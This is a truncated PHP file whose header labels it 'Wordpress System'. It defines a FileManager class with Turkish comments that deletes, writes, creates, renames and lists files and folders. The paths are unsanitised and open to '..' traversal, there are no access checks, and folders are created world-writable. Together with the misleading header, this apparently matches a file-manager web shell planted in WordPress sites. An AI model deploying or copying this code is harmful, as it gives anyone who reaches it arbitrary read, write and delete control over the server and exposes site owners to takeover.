<?php
/*
* Wordpress System
* @author Store
* @date 2024/04/01
*/

class FileManager {
    private $baseDir;

    public function __construct($dir = "./") {
        $this->baseDir = realpath($dir) . DIRECTORY_SEPARATOR;
    }

    public function deleteFile($filename, $currentDir = '') {
        $filePath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $filename;
        if (!file_exists($filePath)) return 'File does not exist';
        if (is_dir($filePath)) return $this->deleteDirectory($filename, $currentDir); // Klasör silme işlemi

        return unlink($filePath) ? 'File deleted successfully' : 'Error deleting file';
    }

    public function saveFile($filename, $content, $currentDir = '') {
        $filePath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $filename;
        return file_put_contents($filePath, $content) !== false ? 'File saved successfully' : 'Error saving file';
    }

    public function createFile($filename, $content, $currentDir = '') {
        $filePath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $filename;
        if (file_exists($filePath)) return 'File already exists';
        return file_put_contents($filePath, $content) !== false ? 'File created successfully' : 'Error creating file';
    }

    public function renameFile($oldName, $newName, $currentDir = '') {
        $oldPath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $oldName;
        $newPath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $newName;
        return rename($oldPath, $newPath) ? 'File renamed successfully' : 'Error renaming file';
    }

    public function createDirectory($dirName, $currentDir = '') {
        $dirPath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $dirName;
        if (!file_exists($dirPath)) {
            return mkdir($dirPath, 0777, true) ? 'Directory created successfully' : 'Error creating directory';
        }
        return 'Directory already exists';
    }

    public function deleteDirectory($dirName, $currentDir = '') {
        $dirPath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $dirName;
        if (!is_dir($dirPath)) return 'Directory does not exist';

        $files = array_diff(scandir($dirPath), array('.', '..'));
        foreach ($files as $file) {
            $filePath = $dirPath . DIRECTORY_SEPARATOR . $file;
            is_dir($filePath) ? $this->deleteDirectory($file, $currentDir . DIRECTORY_SEPARATOR . $dirName) : unlink($filePath);
        }
        return rmdir($dirPath) ? 'Directory deleted successfully' : 'Error deleting directory';
    }

public function listContents($dir = '') {
    $dirPath = $this->baseDir . $dir;
    if (!is_dir($dirPath)) return false;

    $files = scandir($dirPath);
    $contents = array_diff($files, array('.', '..'));

    // Klasörleri, PHP dosyalarını ve diğer dosyaları ayır
    $folders = [];
    $phpFiles = [];
    $otherFiles = [];

    foreach ($contents as $item) {
        $filePath = $dirPath . DIRECTORY_SEPARATOR . $item;
        if (is_dir($filePath)) {
            $folders[] = $item;
        } elseif (pathinfo($filePath, PATHINFO_EXTENSION) === 'php') {
            $phpFiles[] = $item;
        } else {
            $otherFiles[] = $item;
        }
    }

    // Sıralama: Önce klasörler, sonra PHP dosyaları, en son diğer dosyalar
    $sortedContents = array_merge($folders, $phpFiles, $otherFiles);

    // Üst dizine çıkmak için '..' ekleyelim
    if ($dir !== '') {
        array_unshift($sortedContents, '..');
    }

    return $sortedContents;
}

    public function getFileInfo($filename, $currentDir = '') {
        $filePath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $filename;
        if (!file_exists($filePath)) return false;

        return [
            'name' => basename($filename),
            'size' => $this->formatSize(filesize($filePath)),
            'modified' => date("Y-m-d H:i:s", filemtime($filePath)),
            'is_dir' => is_dir($filePa